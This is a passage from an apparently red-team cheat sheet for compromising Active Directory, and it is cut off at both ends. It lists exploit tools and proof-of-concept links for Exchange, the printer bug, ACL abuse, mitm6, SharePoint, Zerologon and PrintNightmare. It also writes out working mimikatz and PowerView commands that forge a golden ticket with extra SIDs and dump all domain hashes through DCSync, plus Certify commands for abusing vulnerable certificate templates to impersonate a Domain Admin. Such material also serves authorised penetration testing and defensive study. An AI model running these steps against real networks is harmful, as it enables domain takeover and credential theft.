smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine. 4. Use secretsdump.py from impacket and dump the hashes. 5. Use psexec or another tool of your choice to PTH and get Domain Admin access. ### Abusing Exchange - [Abusing Exchange one Api call from DA](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/) - [CVE-2020-0688](https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys) - [PrivExchange](https://github.com/dirkjanm/PrivExchange) Exchange your privileges for Domain Admin privs by abusing Exchange ### Weaponizing Printer Bug - [Printer Server Bug to Domain Administrator](https://www.dionach.com/blog/printer-server-bug-to-domain-administrator/) - [NetNTLMtoSilverTicket](https://github.com/NotMedic/NetNTLMtoSilverTicket) ### Abusing ACLs - [Escalating privileges with ACLs in Active Directory](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) - [aclpwn.py](https://github.com/fox-it/aclpwn.py) - [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) ### Abusing IPv6 with mitm6 - [Compromising IPv4 networks via IPv6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/) - [mitm6](https://github.com/fox-it/mitm6) ### SID History Abuse _WUT IS DIS?: If we manage to compromise a child domain of a forest and [SID filtering](https://www.itprotoday.com/windows-8/sid-filtering) isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the [SID History](https://www.itprotoday.com/windows-8/sid-history) field on a kerberos TGT ticket, that defines the "extra" security groups and privileges._ Exploitation example: ```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local #Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local #Create the Enteprise Admins SID Format: RootDomainSID-519 #Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi #Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi #List the DC of the Root Domain dir \\dc.root.domain.local\C$ #Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all ``` Detailed Articles: - [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640) - [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/) ### Exploiting SharePoint - [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE Exploitation \ [PoC](https://github.com/k8gege/CVE-2019-0604) - [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Code execution through BDC deserialization - [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE using typeconverters \ [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932) ### Zerologon - [Zerologon: Unauthenticated domain controller compromise](https://www.secura.com/whitepapers/zerologon-whitepaper): White paper of the vulnerability. - [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): C# implementation of the Zerologon exploit. - [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): PowerShell implementation of the Zerologon exploit. - [Zer0Dump](https://github.com/bb00/zer0dump): Python implementation of the Zerologon exploit using the impacket library. ### PrintNightmare - [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Vulnerability details. - [Impacket implementation of PrintNightmare](https://github.com/cube0x0/CVE-2021-1675): Reliable PoC of PrintNightmare using the impacket library. - [C# Implementation of CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): Reliable PoC of PrintNightmare written in C#. ### Active Directory Certificate Services **Check for Vulnerable Certificate Templates with:** [Certify](https://github.com/GhostPack/Certify) _Note: Certify can be executed with Cobalt Strike's `execute-assembly` command as well_ ```powershell .\Certify.exe find /vulnerable /quiet ``` Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the "Authorized Signatures Required" parameter is set to 0. This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with Rubeus to forge authentication. _Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target._ Request the DA's Account Certificate with Certify ```powershell .\Certify.exe request /template: